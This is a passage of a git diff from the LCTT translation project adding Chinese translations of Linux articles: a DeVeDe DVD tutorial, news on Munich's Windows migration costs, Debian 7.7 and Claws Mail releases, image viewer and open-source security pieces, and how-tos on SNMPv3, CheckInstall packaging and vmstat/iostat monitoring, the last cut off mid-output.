Dextop][3]仓库,然后运行: + + # yum install devede + +#### Fedora: #### + +启用[RPM Fusion][4]仓库,然后运行: + + # yum install devede + +### 使用DeVeDe创建视频DVD ### + +启动DeVeDe并从菜单选择视频DVD。 + +![](https://farm4.staticflickr.com/3930/15366785019_b5fe164573_z.jpg) + +在下一屏中,DeVeDe会自动添加一个标题到收藏。你可以编辑说明文字(1),添加一个文件(2),然后添加另一个标题。根据需要,可重复该操作过程。 + +![](https://farm4.staticflickr.com/3955/15550730461_e9d830ac64_z.jpg) + +在当前标题结束后,“标题属性”对话框允许你在6个要实施的行为之间选择。完成后,点击确定: + +![](https://farm4.staticflickr.com/3928/15554250892_061ef87db3_o.png) + +“文件属性”对话框用于添加文件到当前标题。点击文件夹图标(右上角),然后浏览你的计算机以选择想要的文件。你也可以通过点击副标题对话框右边的添加按钮添加一个副标题文件。选择好视频文件(又或者是副标题文件)后,点击右下角的确定。 + +![](https://farm6.staticflickr.com/5608/15367271798_800a7ff9e9_z.jpg) + +你可以添加你所需的足够多的文件(只受DVD容量的限制)。 + +![](https://farm4.staticflickr.com/3949/15550730511_7c3ca04026_z.jpg) + +接下来,编辑菜单选项。你可以选择一个背景图片和声音文件,在主菜单显示时播放(在DVD插入播放器时就会出现)。 + +![](https://farm6.staticflickr.com/5614/15367271808_a4d3ba5639_z.jpg) + +最后,点击菜单选项对话框内的确定回到主光盘结构,在那里你需要点击下一步来开始以视频DVD结构创建一个.iso映像。 + +![](https://farm4.staticflickr.com/3951/15550730531_c51e64feb9_o.png) + +![](https://farm6.staticflickr.com/5602/15366785109_c9663eb0d5_o.png) + +在DeVeDe创建完视频DVD后,下面这个对话框将呈现在我们眼前: + +![](https://farm4.staticflickr.com/3936/15550730551_0c140ea276_o.png) + +现在,我们可以刻录.iso文件(该文件包含有视频DVD)到光盘了,你可以使用[growisofs][5]或其它DVD刻录工具。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/create-video-dvd-linux-desktop.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.rastersoft.com/programas/devede.html +[2]:http://xmodulo.com/how-to-set-up-epel-repository-on-centos.html +[3]:http://ask.xmodulo.com/enable-nux-dextop-repository-centos-rhel.html +[4]:http://xmodulo.com/how-to-install-rpm-fusion-on-fedora.html +[5]:http://ask.xmodulo.com/burn-iso-nrg-image-dvd-command-line.html diff --git a/published/201410/20141017 Munich sheds light on the cost of dropping Linux and returning to Windows.md b/published/201410/20141017 Munich sheds light on the cost of dropping Linux and returning to Windows.md new file mode 100644 index 0000000000..2ecd9b0989 --- /dev/null +++ b/published/201410/20141017 Munich sheds light on the cost of dropping Linux and returning to Windows.md @@ -0,0 +1,45 @@ +慕尼黑市市长透露重返 Windows 的费用 +================================================================================ +> **摘要**: 慕尼黑市市长透露了在该市摆脱微软十年之后再次放弃 Linux 重返 Windows 的费用,大约需要数以百万计的欧元。 + +慕尼黑市市长透露,重返 Windows 将需要花费上百万欧元购买新的硬件。 + +今年早些时候,该市新当选的市长提出慕尼黑可能重返 Windows,尽管市当局[用了若干年才迁移到基于 Linux 的操作系统和开源软件][1](摘要译文:http://linux.cn/article-2294-1.html)。 + +作为最著名的从微软迁移到 Linux 桌面系统的案例,慕尼黑投向开源软件的做法一直引发各种争议和讨论。慕尼黑的迁移始于2004年,还有一些德国的地方当局也[追随它的脚步转向开源][2]。 + +目前还没有[制定好返回 Windows 桌面的计划][3],但是当局正在调研哪种操作系统和软件包(包括专有软件和开源软件)更适合他们的需求。调研报告也将统计迁移到开源软件所花费的费用。 + +Dieter Reiter市长在[回应慕尼黑的绿党的问询][4]时透露了重返 Windows 的费用。 + +Reiter 说,迁移到 Windows 7 需要替换它14000名以上的职员的所有个人电脑,此举将花费 315万欧元。这还没有包括软件许可证费用和基础设施的投入,Reiter 说由于没有进一步计划,所以还没办法测算。他说,如果迁移到 Windows 8 将花费更多。 + +Reiter 说,返回微软将导致迁移到 [Limux][5]、OpenOffice 及其它开源开源所花费的1400万欧元打了水漂。而部署 Limux 并从微软 Office 迁移的项目实施、支持、培训、修改系统以及 Limux 相关软件的授权等工作都将被搁置,他补充道。 + +他还透露说,(之前)迁移到 Limux 为市政府节约了大概1100万欧元的许可证和硬件费用,因为基于 Ubuntu 的 Limux 操作系统要比升级较新版本的 Windows 对硬件的需要要低。 + +在这个回应中 Reiter 告诉 Stadtbild 杂志说,他是微软的粉丝,但是这并不会影响到这份 IT 审计报告。 + +“在接受 Stadtbild 杂志的采访中我透露我是微软粉丝后,我就收到了大量的信件,询问我们的 IT 团队是否能令人满意的满足用户在任何时候的需求,以及是否有足够的能力为一个现代化大都市的政府服务。” + +“这件事有许多方面,用户满意度是其中之一。这和我个人偏好无关,也和我在开源方面的经验无关。” + +在他的回应中,并不是由于职员们的对迁移到开源的抱怨而导致本次审计的决定。他说,这是来自对职员在 IT 方面的调查而产生的审计,并不独是 Limux OS。 + +他还提到了一个 Windows 和基于 Linux 的操作系统的相对安全的问题。他指出,根据德国国家安全局 BSI 的信息,发现 Linux 要比 Windows 漏洞更多,不过只是使用量较少罢了。然而他也补充说,这种比较也许有不同的解释。 + +-------------------------------------------------------------------------------- + +via: http://www.zdnet.com/munich-sheds-light-on-the-cost-of-dropping-linux-and-returning-to-windows-7000034718/ + +作者:[Avishek Kumar][a] +译者:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.zdnet.com/meet-the-team/uk/nick-heath/ +[1]:http://www.techrepublic.com/article/how-munich-rejected-steve-ballmer-and-kicked-microsoft-out-of-the-city/ +[2]:http://www.techrepublic.com/blog/european-technology/its-not-just-munich-open-source-gains-new-ground-in-germany/ +[3]:http://www.techrepublic.com/article/no-munich-isnt-about-to-ditch-free-software-and-move-back-to-windows/ +[4]:http://www.ris-muenchen.de/RII2/RII/DOK/ANTRAG/3456728.pdf +[5]:http://en.wikipedia.org/wiki/LiMux \ No newline at end of file diff --git a/published/201410/20141021 Debian 7.7 Is Out with Security Fixes.md b/published/201410/20141021 Debian 7.7 Is Out with Security Fixes.md new file mode 100644 index 0000000000..afc138be5e --- /dev/null +++ b/published/201410/20141021 Debian 7.7 Is Out with Security Fixes.md @@ -0,0 +1,37 @@ +Debian 7.7 更新版发布 +================================================================================ +**Debian项目已经宣布Debian7.7 “Wheezy”发布并提供下载。这是常规维护更新,但它打包了很多重要的更新。** + +![](http://i1-news.softpedia-static.com/images/news2/Debian-7-7-Is-Out-with-Security-Fixes-462647-2.jpg) + +Debian在这个发行版里面包含了常规的主要更新,但如果你已经安装的 Debian 保持着不断最新就无需下载安装这个版本。开发者做了一些重要的修复,因此如果还没升级的话建议尽快升级。 + +“此次更新主要是给稳定版修正安全问题,以及对一些严重问题的调整。安全建议的公告已经另行发布了,请查阅。” + +开发者在正式[公告][1]中指出:“请注意,此更新并不是Debian 7的新版本,只是更新了部分包,没必要扔掉旧的wheezy CD或DVD,只要在安装后通过 Debian 镜像来升级那些过期的包就行“。 + +开发者已经升级了 Bash 包来修复一些重要的漏洞,在启动时SSH登录不再有效,并且还做了其他一些微调。 + +要了解发布更多的细节请查看官方公告中的完整更新日志。 + +现在下载 Debian 7.7: + +- [Debian GNU/Linux 7.7.0 (ISO) 32-bit/64-bit][2] +- [Debian GNU/Linux 6.0.10 (ISO) 32-bit/64-bit][3] +- [Debian GNU/Linux 8 Beta 2 (ISO) 32-bit/64-bit][4] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Debian-7-7-Is-Out-with-Security-Fixes-462647.shtml + +作者:[Silviu Stahie][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:https://www.debian.org/News/2014/20141018 +[2]:http://ftp.acc.umu.se/debian-cd/7.7.0/multi-arch/iso-dvd/debian-7.7.0-i386-amd64-source-DVD-1.iso +[3]:http://ftp.au.debian.org/debian/dists/oldstable/ +[4]:http://cdimage.debian.org/cdimage/jessie_di_beta_2/ \ No newline at end of file diff --git a/published/201410/20141021 Nifty Free Image Viewers.md b/published/201410/20141021 Nifty Free Image Viewers.md new file mode 100644 index 0000000000..fe06afe51c --- /dev/null +++ b/published/201410/20141021 Nifty Free Image Viewers.md @@ -0,0 +1,51 @@ +Linux 下的免费图片查看器 +================================================================================ + +我最喜欢的谚语之一是“一图胜千言”。它指一张静态图片可以传递一个复杂的想法。图像相比文字而言可以迅速且更有效地描述大量信息。它们捕捉回忆,永不让你忘记你所想记住的东西,并且让它时常在你的记忆里刷新。 + +图片是互联网日常使用的一部分,并且对社交媒体互动尤其重要。一个好的图片查看器是任何操作系统必不可少的一个组成部分。 + +Linux 系统提供了一个大量开源实用小程序的集合,其中这些程序提供了从显而易见到异乎寻常的各种功能。正是由于这些工具的高质量和多样选择帮助 Linux 在生产环境中而脱颖而出,尤其是当谈到图片查看器时。Linux 有如此多的图像查看器可供选择,以至于让选择困难症患者无所适从~ + +一个不该包括在这个综述中但是值得一提的软件是 Fragment Image Viewer。它在专有许可证下发行(是的,我知道!),所以不会预先安装在 Ubuntu 上。 但它无疑看起来十分有趣!要是它的开发者们将它在开源许可证下发布的话,它将是明日之星! + +现在,让我们亲眼探究一下这 13 款图像查看器。除了一个例外,它们中每个都是在开源协议下发行。由于有很多信息要阐述,我将这些详细内容从当前单一网页综述剥离,但作为替代,我为每一款图片查看器提供了一个单独页面,包括软件的完整描述,产品特点的详细分析,一张软件工作中的截图,以及相关资源和评论的链接。 + +### 图片查看器 ### + +- [**Eye of Gnome**][1] -- 快速且多功能的图片查看器器 +- [**gThumb**][2] -- 高级图像查看器和浏览器 +- [**Shotwell**][3] -- 被设计来提供个人照片管理的图像管理器 +- [**Gwenview**][4] -- 专为 KDE 4 桌面环境开发的简易图片查看器 +- [**Imgv**][5] -- 强大的图片查看器 +- [**feh**][6] -- 基于 Imlib2 的快速且轻量的图片查看器 +- [**nomacs**][7] -- 可处理包括 RAW 在内的大部分格式 +- [**Geeqie**][8] -- 基于 Gtk+ 的轻量级图片查看器 +- [**qiv**][9] -- 基于 gdk/imlib 的非常小且精致的开源图片查看器 +- [**PhotoQT**][10] -- 好看、高度可配置、易用且快速 +- [**Viewnior**][11] -- 设计时考虑到易用性 +- [**Cornice**][12] -- 设计用来作为 ACDSee 的免费替代品 +- [**XnViewMP**][13] -- 图像查看器、浏览器、转换器(专有软件) + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20141018070111434/ImageViewers.html + +译者:[jabirus](https://github.com/jabirus) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://projects.gnome.org/eog/ +[2]:https://wiki.gnome.org/Apps/gthumb +[3]:https://wiki.gnome.org/Apps/Shotwell/ +[4]:http://gwenview.sourceforge.net/ +[5]:http://imgv.sourceforge.net/ +[6]:http://feh.finalrewind.org/ +[7]:http://www.nomacs.org/ +[8]:http://geeqie.sourceforge.net/ +[9]:http://spiegl.de/qiv/ +[10]:http://photoqt.org/ +[11]:http://siyanpanayotov.com/project/viewnior/ +[12]:http://wxglade.sourceforge.net/extra/cornice.html +[13]:http://www.xnview.com/en/ \ No newline at end of file diff --git a/published/201410/20141023 Claws Mail 3.11.0 Brings a Ton of Changes and Fixes for POODLE Exploit.md b/published/201410/20141023 Claws Mail 3.11.0 Brings a Ton of Changes and Fixes for POODLE Exploit.md new file mode 100644 index 0000000000..44c550cb42 --- /dev/null +++ b/published/201410/20141023 Claws Mail 3.11.0 Brings a Ton of Changes and Fixes for POODLE Exploit.md @@ -0,0 +1,43 @@ +Claws Mail 3.11.0 修复了POODLE 漏洞 +================================================================================ +> 随着每一个新版本的推出,Claws Mail 将会越来越好。 + +![](http://i1-news.softpedia-static.com/images/news2/Claws-Mail-3-11-0-Brings-a-Ton-of-Changes-and-Fix-for-POODLE-Exploit-462808-2.jpg) + +**Claws Mail 发起于Linux 社区,是一款快速、简单易用,并且充满了很多有趣的特性的开源邮件客户端。开发者们推送了一次大的更新和升级,建议使用者进行升级。** + +有些人可能不知道这个邮件客户端,但Claws Mail 实际上是一个非常老的软件。它以前名称是Sylpheed-Claws ,已经走过了13个年头。Claws Mail 不久以前从其分支(forked)了出来,新分支的目的是成为Sylpheed-Claws更好的替代产品。 + +现在还有很多针对Linux 的邮件客户端正在进行着霸权地位的争夺战,尽管并没有打的硝烟四起。很多的Linux发行版都默认集成了Claws Mail,对于Claws Mail 的粉丝而言,这将是一个好消息。 + +### Claws Mail 3.11.0 给我们带来了哪些新的特性呢 ### + +就像其他的采用网络连接和网络协议的应用程序一样,Claws Mail 被发现也受到了安全漏洞的影响,比如说POODLE 漏洞。开发者的反应很迅速,可以从其更新日志中看出。 + +“新版本的RSSyl 插件已经完全被重新设计和重写。从先前版本的迁移是自动完成的,采用新的存储格式,存储在~/.claws-mail/RSSyl/ (用分级目录代替了普通文件的格式)。并且用expat 库代替了libxml2 库来解析提要数据。” + +“应广大朋友的要求,在邮件的编辑窗口里,在邮件内容中使用向上光标键时,会停留在邮件的内容的最上一行,而不再会跳到信头字段了。这是在3.10.0版本中引入的。详见开发者的[公告][1]。” + +当然,大家也可以放心了,因为在新的邮件客户端中已经解决了POODLE 漏洞,这是通过禁用了所有的SSLv3 连接实现的。 + +使用制表符进行地址补完的功能也进行了一些改进,并变得更好,特别是对于撰写新邮件,通过光标箭头帮助导航的功能已经做了调整,有很多较小的改进。 + +开发者为大多数发行版创建了很多仓库,但是你也依然可以使用源代码来安装。想要进一步的了解,你可以关注官方关于每个版本的公告。 + +去下载Claws Mail 3.11.0 的源码包吧,如果你想要自己编译软件的话。 + +- [Claws Mail 3.11.0 tar.xz File size: 5.6 MB][2] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Claws-Mail-3-11-0-Brings-a-Ton-of-Changes-and-Fix-for-POODLE-Exploit-462808.shtml + +作者:[Silviu Stahie][a] +译者:[barney-ro](https://github.com/barney-ro) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://www.claws-mail.org/news.php +[2]:http://sourceforge.net/projects/claws-mail/files/Claws%20Mail/3.11.0/claws-mail-3.11.0.tar.xz \ No newline at end of file diff --git a/published/201410/How to Achieve Better Security With Proper Management of Open Source.md b/published/201410/How to Achieve Better Security With Proper Management of Open Source.md new file mode 100644 index 0000000000..b5e0f7ed3f --- /dev/null +++ b/published/201410/How to Achieve Better Security With Proper Management of Open Source.md @@ -0,0 +1,62 @@ +恰当地管理开源,让软件更加安全 +================================================================================ +
![作者 Bill Ledingham 是 Black Duck Software 公司的首席技术官(CTO)兼工程执行副总裁](http://www.linux.com/images/stories/41373/Bill-Ledingham.jpg)
+ +越来越多的公司意识到,要想比对手率先开发出高质量具有创造性的软件,关键在于积极使用开源项目。软件版本更迭要求市场推广速度足够快,成本足够低,而仅仅使用商业源代码已经无法满足这些需求了。如果不能选择最合适的开源软件集成到自己的项目里,一些令人称道的点子怕是永无出头之日了。 + +然而,使用开源软件也要面对新的挑战。一方面,你的团队从开源软件中汲取力量变得更快更灵活,另一方面,开源代码在传播过程中是否经历了不可控修改、安全性该如何保障的问题也日益凸显了出来。 + +OpenSSL Heartbleed 漏洞已经证实。如果你不了解你的应用程序或者已发布的产品中到底运行着什么代码,那你就可能面临需要大量时间才能解决的潜在安全威胁。相反,如果对项目里什么地方使用了什么版本的开源组件都了如指掌,一旦遇到漏洞,响应速度和解决速度都会是千金不换的。 + +### 安全性藏在代码内部 ### + +Heartbleed bug 让开发人员和企业知道了软件安全性有多重要。专利软件和开源软件哪个更安全?这场广泛受到关注的讨论并没有一个简单的结论。现实情况是,不论是专利软件还是开源软件,它们绝大部分都有缺陷,其中一些缺陷还威胁到软件的安全性。 + +如果开源软件被内部代码、专利代码引用了,那开发人员将不得不面对更复杂的安全性挑战。要是管理授权许可的手段再不恰当,那想追溯一段代码的来源和引用就得把相关人员全都牵连进来,难度必然急剧增加。 + +要想切实了解你软件的潜在漏洞,首先你得理解以下三件事儿: + +1. 你的产品和应用程序里现在跑着什么代码? +2. 那些开发前期使用的代码,开发人员是从哪儿弄来的? +3. 开发后期使用了哪些组件,这些组件有哪些地方要在部署之前充分测试? + +### 现状怎么样 ### + +所有企业都应该对比常见漏洞数据库——比如美国国家标准与技术学会的[国家漏洞数据库][1](NVD)——来检查他们的代码。NVD 等组织追踪并收集了各种安全漏洞的信息以及排名,这些数据可以协助企业确保代码及时更新,规避安全风险。 + +如果你从没对照漏洞数据库检查过你的代码,那你可有的忙了。好在我们有个可以利用这些数据库定期自动识别开源安全漏洞的[工具][2],这个工具还可以警示和追踪项目中使用的受影响的开源组件并提供必要的解决方案。 + +持续监控你的代码库能保证及时发现未知代码、了解代码来源、授权信息不会过时、安全漏洞一旦出现就能第一时间掌握并寻求解决方案。如果你的公司有详细的代码清单,你就能轻而易举地找到漏洞所在并及时修复,确保你的业务和客户不会面临危险。 + +### 预防未来的问题 ### + +相当多开发人员青睐开源软件是因为开源软件易于获得且免费,他们不用为此再走采购流程。目前来看,尽管很多开源组织都有自己的使用策略或使用指引,他们却并没有强制使用者遵守,也没有追查使用者是否遵守。知道你的组织将会使用哪些开源代码、这些代码是否有授权、你的组织中什么地方引用了它们是非常重要的。 + +你知道你用了什么代码之后,就该好好整理它们了。你可以实现一个贯穿整个开发流程的管理框架,这样你可以掌握每段代码的详细信息,不用再在诸如代码更新了没有、什么时候更新的以及在哪儿更新的这类问题上浪费时间。手工管理这些信息不大可能,所以一流公司都使用自动化代码管理和审查工具。 + +虽然每个公司、每个开发团队都面临各不相同的问题,但实践证明下面几条安全管理经验对使用开源软件的任何规模的组织都有意义: + +- **自动批准和分类** - 捕捉并追踪开源组件的相关属性,评估许可证合规性,通过自动化扫描、批准和使用过程来审查可能出现的安全漏洞。 +- **维护最新代码的版本** - 评估代码质量,确保你的产品使用的是最新版本的代码。 +- **评估代码** - 评估所有在使用的开源代码;审查代码安全性、授权许可、列出风险并予以解决。 +- **确保代码合法** - 创建并实现开源政策,建立自动化合规检查流程确保开源政策、法规、法律责任等符合开源组织的要求。 + +### 关键是,要让管理流程运作起来 ### + +随着软件飞速渗入各行各业,开放源代码将在创新发展的道路上扮演越来越重要的角色。为了规避安全问题给日益复杂的环境带来的风险,企业必须运行起一套管理其组织中开源代码使用情况的流程,构筑一个定期对照漏洞数据库检查代码并快速消除风险的流程。 + +*作者 Bill Ledingham 是 Black Duck Software 公司的首席技术官(CTO)兼工程执行副总裁。在这之前,Bill 是 Verdasys 的首席技术官,领导信息和网络安全团队为全球顶尖的 2000 家公司和政府机构提供敏感信息的安全保障。 Bill 曾经与人合伙创办过四家公司,现在活跃于波士顿创业社区,作为 CommonAngels 的合作伙伴和投资人迄今已有 6 年历史。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/software/applications/782953-how-to-achieve-better-security-by-proper-management-of-open-source + +作者:[Bill Ledingham][a] +译者:[sailing](https://github.com/sailing) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/59656 +[1]:http://nvd.nist.gov/ +[2]:http://www.blackducksoftware.com/oss-logistics/secure diff --git a/published/201410/How to configure SNMPv3 on ubuntu 14.04 server.md b/published/201410/How to configure SNMPv3 on ubuntu 14.04 server.md new file mode 100644 index 0000000000..4c09ea3636 --- /dev/null +++ b/published/201410/How to configure SNMPv3 on ubuntu 14.04 server.md @@ -0,0 +1,101 @@ +在ubuntu14.04上配置SNMPv3 +============================================ +简单网络管理协议(SNMP)是用于IP网络设备管理的标准协议。典型的支持SNMP协议的设备有路由器、交换机、服务器、工作站、打印机及数据机柜等等。SNMP一般被网络管理系统用于按照管理员设定的条件来监视网络附加设备。SNMP是因特网协议套件中的一个组成部分,它由IETF机构定义。它包含一系列的网络管理标准,其中有一个应用层协议,一个数据库架构以及一组数据对象。 + +SNMP将管理数据以变量的形式展示出来,这些变量描述了系统配置。同时这些变量可以被用于管理的应用查询(或者被设置)。 + +### 为什么需要使用SNMPv3 ### + +尽管SNMPv3所增加的加密功能并不影响协议层面,但是新的文本惯例、概念及术语使得它看起来很不一样。 + +SNMPv3在SNMP的基础之上增强了安全性以及远程配置功能。 + +最初,SNMP最大的缺点就是安全性弱。SNMP的第一与第二个版本中,身份验证仅仅是在管理员与代理间传送一个明文的密码而已。目前每一个SNMPv3的信息都包含了被编码成8进制的安全参数。这些安全参数的具体意义由所选用的安全模型决定。 + +SNMPv3提供了重要的安全特性: + +- 保密性 —— 加密数据包以防止未经授权的源监听。 + +- 完整性 —— 数据的完整性特性确保数据在传输的时候没有被干扰,并且包含了可选的数据响应保护机制。 + +- 身份验证 —— 检查数据是否来自一个合法的源。 + +### 在ubuntu中安装SNMP服务器及客户端 ### + +打开终端运行下列命令 + + sudo apt-get install snmpd snmp + +安装完成后需要做如下改变。 + +###配置SNMPv3### + +获得从外部守护进程访问的权限 + +默认的安装仅提供本地的访问权限,如果想要获得外部访问权限,打开文件 /etc/default/snmpd。 + + sudo vi /etc/default/snmpd + +改变下列内容 + +将 + + SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -g snmp -I -smux,mteTrigger,mteTriggerConf -p /var/run/snmpd.pid' + +改为 + + SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid -c /etc/snmp/snmpd.conf' + +最后重启 snmpd + + sudo /etc/init.d/snmpd restart + +###定义 SNMPv3 用户,身份验证以及加密参数 ### + +“securityLevel”参数使得SNMPv3有多种不同的用途。 + +- noAuthNoPriv —— 没有授权,加密以及任何安全保护! + +- authNoPriv —— 需要身份认证,但是不对通过网络发送的数据进行加密。 + +- autoPriv —— 最可靠模式。需要身份认证而且数据会被加密。 + +snmpd 的配置以及设置都保存在文件 /etc/snmp/snmpd.conf。使用编辑器编辑文件: + + sudo vi /etc/snmp/snmpd.conf + +在文件末尾添加以下内容: + + # + createUser user1 + createUser user2 MD5 user2password + createUser user3 MD5 user3password DES user3encryption + # + rouser user1 noauth 1.3.6.1.2.1.1 + rouser user2 auth 1.3.6.1.2.1 + rwuser user3 priv 1.3.6.1.2.1 + +注:如果你需要使用自己的用户名/密码对的话,请注意密码及加密短语的最小长度是8个字符。 + +同时,你需要做如下的配置以便snmp可以监听来自任何接口的连接请求。 + +将 + + #agentAddress udp:161,udp6:[::1]:161 + +改为 + + agentAddress udp:161,udp6:[::1]:161 + +保存改变后的snmpd.conf文件并且重启守护进程: + + sudo /etc/init.d/snmpd restart + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/how-to-configure-snmpv3-on-ubuntu-14-04-server.html + +译者:[SPccman](https://github.com/SPccman) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201410/Linux FAQs with Answers--How to build a RPM or DEB package from the source with CheckInstall.md b/published/201410/Linux FAQs with Answers--How to build a RPM or DEB package from the source with CheckInstall.md new file mode 100644 index 0000000000..b7552db9ba --- /dev/null +++ b/published/201410/Linux FAQs with Answers--How to build a RPM or DEB package from the source with CheckInstall.md @@ -0,0 +1,84 @@ +Linux有问必答:怎么用CheckInstall从源码创建一个RPM或DEB包 +================================================================================ +> **问题**:我想要从源码创建安装的软件包。有没有一种方式从源码来创建和安装软件包,而不是运行“make install”?这样的话,以后如果我想,我可以容易的卸载程序。 + +如果你已经从它的源码运行“make install”安装了linux程序。想完整移除它将变得真的很麻烦,除非程序的开发者在Makefile里提供了uninstall的目标设置。否则你必须在安装前后比较你系统里文件的完整列表,然后手工移除所有在安装过程中加入的文件。 + +这时候Checkinstall就可以派上使用。Checkinstall会跟踪install命令行所创建或修改的所有文件的路径(例如:“make install”、“make install_modules”等)并建立一个标准的二进制包,让你能用你发行版的标准包管理系统安装或卸载它,(例如Red Hat的yum或者Debian的apt-get命令)。已知它在 Slackware、SuSe、Mandrake 和 Gentoo 上也工作很好,请参考其[官方文档][1]。 + +在这篇文章中,我们只集中在红帽子和Debian为基础的发行版,并展示怎样从源码使用Checkinstall创建一个RPM和DEB软件包 + +### 在linux上安装Checkinstall ### + +在Debian及其衍生发行版上安装Checkinstall: + + # aptitude install checkinstall + +在红帽子的发行版上安装Checkinstall,你需要下载一个已经打包好的Checkinstall rpm包(例如:从 [http://rpm.pbone.net][2]找到),不过它已经从Repoforge库里删除了。这个包是针对Cent OS6的,不过也可在Cent OS7里工作。 + + # wget ftp://ftp.pbone.net/mirror/ftp5.gwdg.de/pub/opensuse/repositories/home:/ikoinoba/CentOS_CentOS-6/x86_64/checkinstall-1.6.2-3.el6.1.x86_64.rpm + # yum install checkinstall-1.6.2-3.el6.1.x86_64.rpm + +一旦checkinstall安装好,你就可以用下列格式创建一个特定的软件包 + + # checkinstall + +如果没有参数,默认安装命令“make install”将被使用 + +### 用Checkinstall创建一个RPM或DEB包 ### + +在这个例子里,我们将创建一个htop包,这是一个linux交互式文本模式进程查看器(类似 top)。 + +首先,让我们从项目的官方网站下载源代码,作为一个好的习惯,我们存储源码包到/usr/local/src下,并解压它。 + + # cd /usr/local/src + # wget http://hisham.hm/htop/releases/1.0.3/htop-1.0.3.tar.gz + # tar xzf htop-1.0.3.tar.gz + # cd htop-1.0.3 + +让我们看看htop的安装命令是什么,以便我们能用Checkinstall命令调用它,如下面所示,htop用“make install”命令安装。 + + # ./configure + # make install + +因此,要创建一个htop安装包,我们可以不带任何参数的调用checkinstall,这将使用“make install”命令创建一个包。在这个过程中, checkinstall命令会问你几个问题。 + +简而言之,如下命令会创建一个htop包: + + # ./configure + # checkinstall + +“Should I create a default set of package docs?(我会创建一个默认设置的包文件?)”,回答“Y”: + +![](https://farm6.staticflickr.com/5577/15118597217_1fdd0e0346_z.jpg) + +你可以输入一个包的简短描述,然后按两次回车: + +![](https://farm4.staticflickr.com/3898/15118442190_604b71d9af.jpg) + +输入一个数字以修改下面的任何值或ENTER继续: + +![](https://farm4.staticflickr.com/3898/15118442180_428de59d68_z.jpg) + +然后checkinstall将自动地创建一个.rpm或者.deb包,根据你的linux系统是什么: + +在CentOS7: + +![](https://farm4.staticflickr.com/3921/15282103066_5d688b2217_z.jpg) + +在Debian 7: + +![](https://farm4.staticflickr.com/3905/15118383009_4909a7c17b_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/build-rpm-deb-package-source-checkinstall.html + +译者:[luoyutiantang](https://github.com/luoyutiantang) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://checkinstall.izto.org/docs/README +[2]:http://rpm.pbone.net/ +[3]:http://ask.xmodulo.com/install-htop-centos-rhel.html diff --git a/published/201410/Linux Performance Monitoring with Vmstat and Iostat Commands.md b/published/201410/Linux Performance Monitoring with Vmstat and Iostat Commands.md new file mode 100644 index 0000000000..70e334e9d9 --- /dev/null +++ b/published/201410/Linux Performance Monitoring with Vmstat and Iostat Commands.md @@ -0,0 +1,247 @@ +使用vmstat和iostat命令进行Linux性能监控 +================================================================ +这是我们正在进行的**Linux**命令和性能监控系列的一部分。**vmstat**和**iostat**两个命令都适用于所有主要的类**unix**系统(**Linux/unix/FreeBSD/Solaris**)。 + +如果**vmstat**和**iostat**命令在你的系统中不可用,请安装**sysstat**软件包。**vmstat**,**sar**和**iostat**命令都包含在**sysstat**(系统监控工具)软件包中。iostat命令生成**CPU**和所有设备的统计信息。你可以从[这个连接][1]中下载源代码包编译安装sysstat,但是我们建议通过**YUM**命令进行安装。 + +![使用Vmstat和Iostat命令进行Linux性能监控](http://www.tecmint.com/wp-content/uploads/2012/09/Linux-VmStat-Iostat-Commands.png) + +*使用Vmstat和Iostat命令进行Linux性能监控* + +###在Linux系统中安装sysstat### + + #yum -y install sysstat + +- **vmstat** - 内存,进程和分页等的简要信息。 +- **iostat** - CPU统计信息,设备和分区的输入/输出统计信息。 + +### Linux下vmstat命令的6个范例### + +####1. 列出活动和非活动的内存#### + +如下范例中输出6列。**vmstat**的man页面中解析的每一列的意义。最重要的是内存中的**free**属性和交换分区中的**si**和**so**属性。 + + [root@tecmint ~]# vmstat -a + + procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu----- + r b swpd free inact active si so bi bo in cs us sy id wa st + 1 0 0 810420 97380 70628 0 0 115 4 89 79 1 6 90 3 0 + +- **Free** – 空闲的内存空间 +- **si** – 每秒从磁盘中交换进内存的数据量(以KB为单位)。 +- **so** – 每秒从内存中交换出磁盘的数据量(以KB为单位)。 + +**注意**:如果你不带参数的执行**vmstat**命令,它会输出自系统启动以来的总结报告。 + +####2. 每X秒执行vmstat,共执行N次#### + +下面命令将会每2秒中执行一次**vmstat**,执行6次后自动停止执行。 + + [root@tecmint ~]# vmstat 2 6 + + procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu----- + r b swpd free buff cache si so bi bo in cs us sy id wa st + 0 0 0 810420 22064 101368 0 0 56 3 50 